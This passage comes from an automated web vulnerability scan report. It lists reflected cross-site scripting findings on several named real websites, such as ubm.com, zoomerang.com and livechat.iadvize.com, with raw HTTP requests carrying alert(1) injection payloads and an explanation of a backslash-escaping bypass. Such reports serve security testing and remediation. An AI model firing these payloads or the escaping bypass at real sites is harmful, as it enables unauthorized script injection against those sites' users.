This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll&query=help%20contact&af5e7"><script>alert(1)</script>b8d3e48110f=1 HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/people/ubm-people.aspx
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.3.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Fri, 16 Sep 2011 16:45:33 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 19813

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...
<a href="/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll&query=help contact&af5e7"><script>alert(1)</script>b8d3e48110f=1&page=2">
...[SNIP]...

2.165. http://www.ubmlive.com/image/image_gallery [groupId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ubmlive.com
Path:	/image/image_gallery

Issue detail

The value of the groupId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 394e7'-alert(1)-'dccd8ae7337 was submitted in the groupId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab1&groupId=1482687394e7'-alert(1)-'dccd8ae7337&t=1298997241996 HTTP/1.1
Host: www.ubmlive.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 16:46:42 GMT
Server: Apache
Expires: Mon, 13 Sep 2021 16:46:42 UTC
Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
Cache-Control: max-age=315360000, public
Vary: Accept-Encoding
Content-Length: 52412
Content-Type: text/html;charset=UTF-8

...[SNIP]...
h page an identifying name, server, and channel on
the next lines. */

s.pageName='Home';
s.pageURL='http://www.ubmlive.com/image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab1&groupId=1482687394e7'-alert(1)-'dccd8ae7337&t=1298997241996';
s.channel='Home';

// Additional Omniture variable for returning page title

var pageTitle='image_gallery?uuid=e451fe3b d86e 487e ace5 4559ef1f2ab1&groupId=1482687394e7' alert(1) 'dc
...[SNIP]...

2.166. http://www.ubmlive.com/image/image_gallery [uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ubmlive.com
Path:	/image/image_gallery

Issue detail

The value of the uuid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d5b1'-alert(1)-'01593b2eb8d was submitted in the uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab18d5b1'-alert(1)-'01593b2eb8d&groupId=1482687&t=1298997241996 HTTP/1.1
Host: www.ubmlive.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 16:46:30 GMT
Server: Apache
Expires: Mon, 13 Sep 2021 16:46:30 UTC
Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
Cache-Control: max-age=315360000, public
Vary: Accept-Encoding
Content-Length: 52412
Content-Type: text/html;charset=UTF-8

...[SNIP]...
You may give each page an identifying name, server, and channel on
the next lines. */

s.pageName='Home';
s.pageURL='http://www.ubmlive.com/image/image_gallery?uuid=e451fe3b-d86e-487e-ace5-4559ef1f2ab18d5b1'-alert(1)-'01593b2eb8d&groupId=1482687&t=1298997241996';
s.channel='Home';

// Additional Omniture variable for returning page title

var pageTitle='image_gallery?uuid=e451fe3b d86e 487e ace5 4559ef1f2ab18d5b1' alert(1) '01
...[SNIP]...

2.167. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [bc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The value of the bc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0b68\'%3balert(1)//5be21be8d8c was submitted in the bc parameter. This input was echoed as c0b68\\';alert(1)//5be21be8d8c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1c0b68\'%3balert(1)//5be21be8d8c&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:13:57 GMT
Content-Length: 6994

document.write('<!--[if lte IE 6]> <script type="text/javascript" src="https://www.zoomerang.com/Shared/JavaScript/supersleight-min.js"></script>
...[SNIP]...
<div style="width:41%;height:18px;background-color:#226DB1c0b68\\';alert(1)//5be21be8d8c;border-right:#797979 1px solid;font-size:6px;margin:0;">
...[SNIP]...

2.168. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [bgc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The value of the bgc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c49c\'%3balert(1)//b3f6a0759b9 was submitted in the bgc parameter. This input was echoed as 3c49c\\';alert(1)//b3f6a0759b9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC3c49c\'%3balert(1)//b3f6a0759b9&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:13:57 GMT
Content-Length: 6814

document.write('<!--[if lte IE 6]> <script type="text/javascript" src="https://www.zoomerang.com/Shared/JavaScript/supersleight-min.js"></script>
...[SNIP]...
<div style="margin:0;background-color:#CFE8FC3c49c\\';alert(1)//b3f6a0759b9;border:1px solid #D4D4D4;font-family:Arial, Verdana;color:#000000;width:177px;background-image:url(https://www.zoomerang.com/Shared/App_Themes/Main/Images/widget/transparent_overlay_small.png);backgro
...[SNIP]...

2.169. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [fc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The value of the fc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4db71\'%3balert(1)//f8765cd7da8 was submitted in the fc parameter. This input was echoed as 4db71\\';alert(1)//f8765cd7da8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=0000004db71\'%3balert(1)//f8765cd7da8&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:13:57 GMT
Content-Length: 6844

document.write('<!--[if lte IE 6]> <script type="text/javascript" src="https://www.zoomerang.com/Shared/JavaScript/supersleight-min.js"></script>
...[SNIP]...
<div style="margin:0;background-color:#CFE8FC;border:1px solid #D4D4D4;font-family:Arial, Verdana;color:#0000004db71\\';alert(1)//f8765cd7da8;width:177px;background-image:url(https://www.zoomerang.com/Shared/App_Themes/Main/Images/widget/transparent_overlay_small.png);background-repeat: no-repeat;">
...[SNIP]...

2.170. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [fs parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The value of the fs request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae4c6\'%3balert(1)//bb990c2bcff was submitted in the fs parameter. This input was echoed as ae4c6\\';alert(1)//bb990c2bcff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10ae4c6\'%3balert(1)//bb990c2bcff&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:13:57 GMT
Content-Length: 6813

document.write('<!--[if lte IE 6]> <script type="text/javascript" src="https://www.zoomerang.com/Shared/JavaScript/supersleight-min.js"></script>
...[SNIP]...
<table cellpadding="0" cellspacing="0" style="font-size:10ae4c6\\';alert(1)//bb990c2bcffpx;margin:10px;border:none;">
...[SNIP]...

2.171. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [width parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The value of the width request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9effc\'%3balert(1)//471bd0ffa78 was submitted in the width parameter. This input was echoed as 9effc\\';alert(1)//471bd0ffa78 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=1779effc\'%3balert(1)//471bd0ffa78&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:13:56 GMT
Content-Length: 6814

document.write('<!--[if lte IE 6]> <script type="text/javascript" src="https://www.zoomerang.com/Shared/JavaScript/supersleight-min.js"></script>
...[SNIP]...
<div style="margin:0;background-color:#CFE8FC;border:1px solid #D4D4D4;font-family:Arial, Verdana;color:#000000;width:1779effc\\';alert(1)//471bd0ffa78px;background-image:url(https://www.zoomerang.com/Shared/App_Themes/Main/Images/widget/transparent_overlay_small.png);background-repeat: no-repeat;">
...[SNIP]...

2.172. http://livechat.iadvize.com/chat_init.js [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://livechat.iadvize.com
Path:	/chat_init.js

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload d9078<a>e959884fd62 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /chat_init.js?sid=1821 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=d9078<a>e959884fd62
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:27:08 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; expires=Sun, 15-Sep-2013 15:27:08 GMT; path=/
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A3%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A19000%2C%22origin_site%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp+server%22%2C%22origin%22%3A%22search+engine%22%2C%22refengine%22%3A%22Google%22%2C%22refkeyword%22%3A%22smtp+server%22%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fhl%3Den%26q%3Dd9078%3Ca%3Ee959884fd62%22%2C%22timeElapsed%22%3A0.32%7D; path=/
Expires: Mon, 22 Jan 1978 12:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 42289

if(typeof(iAdvize) !== 'object'){

if (/Safari/.test(navigator.userAgent) && !(/Chrome/.test(navigator.userAgent))) {
   var Sbody = document.getElementsByTagName( 'BODY' )[ 0 ];
   var newNode = docume
...[SNIP]...
\/\/www.google.com\/search?sourceid=chrome&ie=UTF-8&q=smtp server","origin":"search engine","refengine":"Google","refkeyword":"smtp server","referrer_lastPage":"http:\/\/www.google.com\/search?hl=en&q=d9078<a>e959884fd62","timeElapsed":0.32};for(var v in iAdvize.vProf){iAdvize.vStats[v]=iAdvize.vProf[v];}
if(iAdvize.customize.layout!='fb'){iAdvize.vStats['actualURI']=document.location.href;}
else{iAdvize.vStats['actua
...[SNIP]...

2.173. http://a.collective-media.net/cmadj/ds.home/default [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2879e'%3balert(1)//6361e5175a1 was submitted in the cli cookie. This input was echoed as 2879e';alert(1)//6361e5175a1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;ord1=216411;cmpgurl=http%253A//www.drugstore.com/? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f2879e'%3balert(1)//6361e5175a1; dc=sea

Response

2.174. http://livechat.iadvize.com/chat_init.js [vuid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/chat_init.js

Issue detail

The value of the vuid cookie is copied into the HTML document as plain text between tags. The payload 7f265<script>alert(1)</script>cba43038c81 was submitted in the vuid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 18:44:59 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c627f265%3Cscript%3Ealert%281%29%3C%2Fscript%3Ecba43038c81; expires=Sun, 15-Sep-2013 18:44:59 GMT; path=/
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A1%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A22%2C%22connectionTime%22%3A1316198661%2C%22navTime%22%3A38000%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.mailjet.com%5C%2F%22%2C%22timeElapsed%22%3A0.63%7D; path=/
Expires: Mon, 22 Jan 1978 12:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 42205

if(typeof(iAdvize) !== 'object'){

if (/Safari/.test(navigator.userAgent) && !(/Chrome/.test(navigator.userAgent))) {
   var Sbody = document.getElementsByTagName( 'BODY' )[ 0 ];
   var newNode = docume
...[SNIP]...

       iframe.name = name;
       iframe.src = 'javascript:false';
       div.appendChild(iframe);
       form.action = 'http://livechat.iadvize.com/saveuid.php?sid=1821&vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c627f265<script>alert(1)</script>cba43038c81';
       form.method = 'POST';
       form.target = name;
       div.appendChild(form);
       form.submit();
   }, 10);
}

if(typeof(iAdvize2) === 'undefined'){
           iAdvize2 = {}
}

/*! LAB.js (LABjs :: Loading And Blockin
...[SNIP]...

2.175. https://support.socketlabs.com/index.php/Base/User/Login [SWIFT_client cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/User/Login

Issue detail

The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 3929e<script>alert(1)</script>4d502bdc670 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

POST /index.php/Base/User/Login HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
Content-Length: 91
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=3929e<script>alert(1)</script>4d502bdc670; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

_redirectAction=%2FKnowledgebase%2FHomeIndex%2FIndex&scemail=Your+email+address&scpassword=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:23:21 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Set-Cookie: SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; expires=Sat, 15-Sep-2012 15:23:21 GMT; path=/; domain=support.socketlabs.com
Vary: Accept-Encoding
Content-Length: 17394
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[Notice]: unserialize(): Error at offset
...[SNIP]...
</div>
UNSERIALIZE FAILED: 3929e<script>alert(1)</script>4d502bdc670<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...[SNIP]...

2.176. https://support.socketlabs.com/index.php/Base/UserRegistration/Register [SWIFT_client cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/Register

Issue detail

The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 12dc8<script>alert(1)</script>00e1e0fd60f was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

